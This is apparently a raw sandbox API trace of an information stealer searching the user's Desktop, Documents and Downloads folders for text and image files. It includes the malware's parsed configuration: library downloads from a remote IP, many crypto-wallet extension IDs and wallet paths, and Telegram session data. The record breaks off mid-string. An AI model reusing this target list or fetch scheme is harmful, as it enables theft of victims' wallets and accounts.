PathMatchSpecW (pszFile="Y8KInwBgqWSxIPZ", pszSpec="*windows*") returned 0 [0271.315] LocalFree (hMem=0x6fe220) returned 0x0 [0271.315] lstrlenW (lpString="*windows*,*recycle*") returned 19 [0271.315] LocalAlloc (uFlags=0x40, uBytes=0x126) returned 0x6fe220 [0271.315] StrStrW (lpFirst="*recycle*", lpSrch=",") returned 0x0 [0271.315] lstrlenW (lpString="*recycle*") returned 9 [0271.315] lstrlenW (lpString="*recycle*") returned 9 [0271.315] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x6fb588 [0271.315] StrCpyW (in: psz1=0x6fe220, psz2="*recycle*" | out: psz1="*recycle*") returned="*recycle*" [0271.315] LocalFree (hMem=0x6fb588) returned 0x0 [0271.315] PathMatchSpecW (pszFile="Y8KInwBgqWSxIPZ", pszSpec="*recycle*") returned 0 [0271.315] LocalFree (hMem=0x6fe220) returned 0x0 [0271.315] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f50e8 [0271.315] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Users\\kEecfMwgj\\Documents\\Y8KInwBgqWSxIPZ" | out: psz1="C:\\Users\\kEecfMwgj\\Documents\\Y8KInwBgqWSxIPZ") returned="C:\\Users\\kEecfMwgj\\Documents\\Y8KInwBgqWSxIPZ" [0271.316] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Documents\\Y8KInwBgqWSxIPZ") returned 44 [0271.316] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\Y8KInwBgqWSxIPZ\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\y8kinwbgqwsxipz\\*"), lpFindFileData=0x24f4d8 | out: lpFindFileData=0x24f4d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70dd4480, ftCreationTime.dwHighDateTime=0x1d897df, ftLastAccessTime.dwLowDateTime=0x541eebd0, ftLastAccessTime.dwHighDateTime=0x1d8a493, ftLastWriteTime.dwLowDateTime=0x541eebd0, ftLastWriteTime.dwHighDateTime=0x1d8a493, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24f54c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ca4c0 [0271.316] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f4d8 | out: lpFindFileData=0x24f4d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70dd4480, ftCreationTime.dwHighDateTime=0x1d897df, ftLastAccessTime.dwLowDateTime=0x541eebd0, ftLastAccessTime.dwHighDateTime=0x1d8a493, ftLastWriteTime.dwLowDateTime=0x541eebd0, ftLastWriteTime.dwHighDateTime=0x1d8a493, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24f54c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0271.316] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f4d8 | out: lpFindFileData=0x24f4d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70dd4480, ftCreationTime.dwHighDateTime=0x1d897df, ftLastAccessTime.dwLowDateTime=0x541eebd0, ftLastAccessTime.dwHighDateTime=0x1d8a493, ftLastWriteTime.dwLowDateTime=0x541eebd0, ftLastWriteTime.dwHighDateTime=0x1d8a493, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24f54c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0271.317] LocalFree (hMem=0x6f50e8) returned 0x0 [0271.317] FindClose (in: hFindFile=0x6ca4c0 | out: hFindFile=0x6ca4c0) returned 1 [0271.317] LocalFree (hMem=0x6fdcc0) returned 0x0 [0271.317] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f7b0 | out: lpFindFileData=0x24f7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb697a050, ftCreationTime.dwHighDateTime=0x1d819cd, ftLastAccessTime.dwLowDateTime=0xaf79dfe0, ftLastAccessTime.dwHighDateTime=0x1d8a5a0, ftLastWriteTime.dwLowDateTime=0xaf79dfe0, ftLastWriteTime.dwHighDateTime=0x1d8a5a0, nFileSizeHigh=0x0, nFileSizeLow=0x6e18, dwReserved0=0xa0000003, dwReserved1=0x6ca228, cFileName="_76V.docx", cAlternateFileName="_76V~1.DOC")) returned 1 [0271.317] LocalAlloc (uFlags=0x40, uBytes=0x410) returned 0x6fdcc0 [0271.317] StrCpyW (in: psz1=0x6fdcc0, psz2="C:\\Users\\kEecfMwgj\\Documents\\" | out: psz1="C:\\Users\\kEecfMwgj\\Documents\\") returned="C:\\Users\\kEecfMwgj\\Documents\\" [0271.317] lstrlenW (lpString="_76V.docx") returned 9 [0271.317] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Documents\\") returned 29 [0271.317] LocalAlloc (uFlags=0x40, uBytes=0x14c) returned 0x6fe220 [0271.318] StrStrW (lpFirst="*.lnk", lpSrch=",") returned 0x0 [0271.318] lstrlenW (lpString="*.lnk") returned 5 [0271.318] lstrlenW (lpString="*.lnk") returned 5 [0271.318] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x6ef5b8 [0271.318] StrCpyW (in: psz1=0x6fdcc0, psz2="*.lnk" | out: psz1="*.lnk") returned="*.lnk" [0271.318] LocalFree (hMem=0x6ef5b8) returned 0x0 [0271.318] PathMatchSpecW (pszFile="_76V.docx", pszSpec="*.lnk") returned 0 [0271.318] LocalFree (hMem=0x6fdcc0) returned 0x0 [0271.319] LocalFree (hMem=0x6fe220) returned 0x0 [0271.319] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f7b0 | out: lpFindFileData=0x24f7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb697a050, ftCreationTime.dwHighDateTime=0x1d819cd, ftLastAccessTime.dwLowDateTime=0xaf79dfe0, ftLastAccessTime.dwHighDateTime=0x1d8a5a0, ftLastWriteTime.dwLowDateTime=0xaf79dfe0, ftLastWriteTime.dwHighDateTime=0x1d8a5a0, nFileSizeHigh=0x0, nFileSizeLow=0x6e18, dwReserved0=0xa0000003, dwReserved1=0x6ca228, cFileName="_76V.docx", cAlternateFileName="_76V~1.DOC")) returned 0 [0271.319] LocalFree (hMem=0x6f4ec0) returned 0x0 [0271.319] FindClose (in: hFindFile=0x6ca500 | out: hFindFile=0x6ca500) returned 1 [0271.319] LocalFree (hMem=0x6fe0d8) returned 0x0 [0271.320] LocalFree (hMem=0x6f4848) returned 0x0 [0271.321] LocalFree (hMem=0x716f88) returned 0x0 [0271.321] LocalFree (hMem=0x6bf278) returned 0x0 [0271.321] LocalFree (hMem=0x6fd570) returned 0x0 [0271.322] LocalFree (hMem=0x6fd6f8) returned 0x0 [0271.322] LocalFree (hMem=0x6fd850) returned 0x0 [0271.322] LocalFree (hMem=0x6fd990) returned 0x0 [0271.323] LocalFree (hMem=0x706e78) returned 0x0 [0271.323] LocalFree (hMem=0x6fdaa8) returned 0x0 [0271.323] LocalFree (hMem=0x6fdbb8) returned 0x0 [0271.323] StrStrW (lpFirst="files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="grbr_") returned="grbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0271.323] lstrlenW (lpString="downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 117 [0271.323] LocalAlloc (uFlags=0x40, uBytes=0xea) returned 0x706e78 [0271.323] StrStrW (lpFirst="downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch=":") returned=":%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0271.323] lstrlenW (lpString="downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 117 [0271.323] LocalAlloc (uFlags=0x40, uBytes=0x16a) returned 0x6bf278 [0271.323] StrCpyW (in: psz1=0x706e78, psz2="downloads" | out: psz1="downloads") returned="downloads" [0271.324] LocalFree (hMem=0x6bf278) returned 0x0 [0271.324] lstrlenW (lpString="%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 107 [0271.324] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x6bf278 [0271.324] StrStrW (lpFirst="%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="|") returned="|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0271.324] lstrlenW (lpString="%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 107 [0271.324] LocalAlloc (uFlags=0x40, uBytes=0x156) returned 0x6fd570 [0271.324] StrCpyW (in: psz1=0x6bf278, psz2="%USERPROFILE%\\Downloads\\" | out: psz1="%USERPROFILE%\\Downloads\\") returned="%USERPROFILE%\\Downloads\\" [0271.324] LocalFree (hMem=0x6fd570) returned 0x0 [0271.324] lstrlenW (lpString="*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 82 [0271.324] LocalAlloc (uFlags=0x40, uBytes=0xa4) returned 0x6b9738 [0271.324] StrStrW (lpFirst="*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="|") returned="|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0271.324] lstrlenW (lpString="*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 82 [0271.324] LocalAlloc (uFlags=0x40, uBytes=0x124) returned 0x6bf358 [0271.324] StrCpyW (in: psz1=0x6b9738, psz2="*.txt,*.jpg" | out: psz1="*.txt,*.jpg") returned="*.txt,*.jpg" [0271.325] LocalFree (hMem=0x6bf358) returned 0x0 [0271.325] lstrlenW (lpString="*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 70 [0271.325] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x6ef5b8 [0271.325] StrStrW (lpFirst="*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="|") returned="|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0271.325] lstrlenW (lpString="*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 70 [0271.325] LocalAlloc (uFlags=0x40, uBytes=0x10c) returned 0x6bf358 [0271.325] StrCpyW (in: psz1=0x6ef5b8, psz2="*windows*,*recycle*" | out: psz1="*windows*,*recycle*") returned="*windows*,*recycle*" [0271.325] LocalFree (hMem=0x6bf358) returned 0x0 [0271.325] lstrlenW (lpString="6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 50 [0271.325] LocalAlloc (uFlags=0x40, uBytes=0x64) returned 0x6c0550 [0271.325] StrStrW (lpFirst="6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="|") returned="|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0271.325] lstrlenW (lpString="6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 50 [0271.325] LocalAlloc (uFlags=0x40, uBytes=0xe4) returned 0x6bf358 [0271.325] StrCpyW (in: psz1=0x6c0550, psz2="6" | out: psz1="6") returned="6" [0271.326] LocalFree (hMem=0x6bf358) returned 0x0 [0271.326] lstrlenW (lpString="1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 48 [0271.326] LocalAlloc (uFlags=0x40, uBytes=0x60) returned 0x6e9880 [0271.326] StrStrW (lpFirst="1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="|") returned="|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0271.326] lstrlenW (lpString="1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 48 [0271.326] LocalAlloc (uFlags=0x40, uBytes=0xe0) returned 0x6bf358 [0271.326] StrCpyW (in: psz1=0x6e9880, psz2="1" | out: psz1="1") returned="1" [0271.326] LocalFree (hMem=0x6bf358) returned 0x0 [0271.326] lstrlenW (lpString="1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 46 [0271.326] LocalAlloc (uFlags=0x40, uBytes=0x5c) returned 0x6e98e8 [0271.326] StrStrW (lpFirst="1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="|") returned="|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0271.326] lstrlenW (lpString="1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 46 [0271.326] LocalAlloc (uFlags=0x40, uBytes=0xdc) returned 0x6bf358 [0271.326] StrCpyW (in: psz1=0x6e98e8, psz2="1" | out: psz1="1") returned="1" [0271.327] LocalFree (hMem=0x6bf358) returned 0x0 [0271.327] lstrlenW (lpString="files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 44 [0271.327] LocalAlloc (uFlags=0x40, uBytes=0x58) returned 0x6cbdb8 [0271.327] StrStrW (lpFirst="files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0271.327] lstrlenW (lpString="files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 44 [0271.327] LocalAlloc (uFlags=0x40, uBytes=0xd8) returned 0x6bf358 [0271.327] StrCpyW (in: psz1=0x6cbdb8, psz2="files" | out: psz1="files") returned="files" [0271.327] LocalFree (hMem=0x6bf358) returned 0x0 [0271.327] LocalAlloc (uFlags=0x40, uBytes=0x28000) returned 0x716f88 [0271.327] StrToIntW (lpSrc="6") returned 6 [0271.327] LocalAlloc (uFlags=0x40, uBytes=0x410) returned 0x6fd570 [0271.328] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f4848 [0271.328] lstrlenW (lpString="%USERPROFILE%\\Downloads\\") returned 24 [0271.328] StrStrW (lpFirst="USERPROFILE%\\Downloads\\", lpSrch="%") returned="%\\Downloads\\" [0271.328] lstrlenW (lpString="USERPROFILE%\\Downloads\\") returned 23 [0271.328] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x6bea98 [0271.328] StrCpyW (in: psz1=0x6f4848, psz2="USERPROFILE" | out: psz1="USERPROFILE") returned="USERPROFILE" [0271.328] LocalFree (hMem=0x6bea98) returned 0x0 [0271.328] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0x6fd570, nSize=0x208 | out: lpBuffer="") returned 0x12 [0271.328] lstrlenW (lpString="\\Downloads\\") returned 11 [0271.328] lstrlenW (lpString="C:\\Users\\kEecfMwgj") returned 18 [0271.328] LocalAlloc (uFlags=0x40, uBytes=0x13a) returned 0x6fd988 [0271.328] StrCpyW (in: psz1=0x6f4ec0, psz2="C:\\Users\\kEecfMwgj\\Downloads\\" | out: psz1="C:\\Users\\kEecfMwgj\\Downloads\\") returned="C:\\Users\\kEecfMwgj\\Downloads\\" [0271.329] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Downloads\\") returned 29 [0271.329] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Downloads\\*" (normalized: "c:\\users\\keecfmwgj\\downloads\\*"), lpFindFileData=0x24f7b0 | out: lpFindFileData=0x24f7b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794cf490, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e833eb0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6ca228, cFileName=".", cAlternateFileName="")) returned 0x6ca500 [0271.329] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f7b0 | out: lpFindFileData=0x24f7b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794cf490, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e833eb0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6ca228, cFileName="..", cAlternateFileName="")) returned 1 [0271.329] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f7b0 | out: lpFindFileData=0x24f7b0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x7996bf30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e8365c0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x6ca228, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0271.329] LocalAlloc (uFlags=0x40, uBytes=0x410) returned 0x6fd570 [0271.330] StrCpyW (in: psz1=0x6fd570, psz2="C:\\Users\\kEecfMwgj\\Downloads\\" | out: psz1="C:\\Users\\kEecfMwgj\\Downloads\\") returned="C:\\Users\\kEecfMwgj\\Downloads\\" [0271.330] lstrlenW (lpString="desktop.ini") returned 11 [0271.330] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Downloads\\") returned 29 [0271.330] LocalAlloc (uFlags=0x40, uBytes=0x150) returned 0x6fdad0 [0271.330] StrStrW (lpFirst="*.lnk", lpSrch=",") returned 0x0 [0271.330] lstrlenW (lpString="*.lnk") returned 5 [0271.330] lstrlenW (lpString="*.lnk") returned 5 [0271.330] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x6ef650 [0271.330] StrCpyW (in: psz1=0x6bf358, psz2="*.lnk" | out: psz1="*.lnk") returned="*.lnk" [0271.330] LocalFree (hMem=0x6ef650) returned 0x0 [0271.330] PathMatchSpecW (pszFile="desktop.ini", pszSpec="*.lnk") returned 0 [0271.330] LocalFree (hMem=0x6bf358) returned 0x0 [0271.330] lstrlenW (lpString="*.txt,*.jpg") returned 11 [0271.330] LocalAlloc (uFlags=0x40, uBytes=0x116) returned 0x6bf358 [0271.331] StrStrW (lpFirst="*.txt,*.jpg", lpSrch=",") returned=",*.jpg" [0271.331] lstrlenW (lpString="*.txt,*.jpg") returned 11 [0271.331] LocalAlloc (uFlags=0x40, uBytes=0x96) returned 0x6fb588 [0271.331] StrCpyW (in: psz1=0x6bf358, psz2="*.txt" | out: psz1="*.txt") returned="*.txt" [0271.331] LocalFree (hMem=0x6fb588) returned 0x0 [0271.331] PathMatchSpecW (pszFile="desktop.ini", pszSpec="*.txt") returned 0 [0271.332] LocalFree (hMem=0x6bf358) returned 0x0 [0271.332] lstrlenW (lpString="*.txt,*.jpg") returned 11 [0271.332] LocalAlloc (uFlags=0x40, uBytes=0x116) returned 0x6bf358 [0271.332] StrStrW (lpFirst="*.jpg", lpSrch=",") returned 0x0 [0271.332] lstrlenW (lpString="*.jpg") returned 5 [0271.332] lstrlenW (lpString="*.jpg") returned 5 [0271.332] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x6ef650 [0271.332] StrCpyW (in: psz1=0x6bf358, psz2="*.jpg" | out: psz1="*.jpg") returned="*.jpg" [0271.332] LocalFree (hMem=0x6ef650) returned 0x0 [0271.332] PathMatchSpecW (pszFile="desktop.ini", pszSpec="*.jpg") returned 0 [0271.333] LocalFree (hMem=0x6bf358) returned 0x0 [0271.333] LocalFree (hMem=0x6fdad0) returned 0x0 [0271.333] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f7b0 | out: lpFindFileData=0x24f7b0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x7996bf30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e8365c0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x6ca228, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0271.333] LocalFree (hMem=0x6f4ec0) returned 0x0 [0271.333] FindClose (in: hFindFile=0x6ca500 | out: hFindFile=0x6ca500) returned 1 [0271.334] LocalFree (hMem=0x6fd988) returned 0x0 [0271.334] LocalFree (hMem=0x6f4848) returned 0x0 [0271.335] LocalFree (hMem=0x716f88) returned 0x0 [0271.336] LocalFree (hMem=0x706e78) returned 0x0 [0271.336] LocalFree (hMem=0x6bf278) returned 0x0 [0271.336] LocalFree (hMem=0x6b9738) returned 0x0 [0271.336] LocalFree (hMem=0x6ef5b8) returned 0x0 [0271.337] LocalFree (hMem=0x6c0550) returned 0x0 [0271.337] LocalFree (hMem=0x6e9880) returned 0x0 [0271.337] LocalFree (hMem=0x6e98e8) returned 0x0 [0271.337] LocalFree (hMem=0x6cbdb8) returned 0x0 [0271.337] StrStrW (lpFirst="files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="grbr_") returned 0x0 [0271.342] StrStrW (lpFirst="libs_nss3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll\nlibs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="tlgrm_") returned="tlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0271.342] StrStrW (lpFirst="Telegram:Telegram 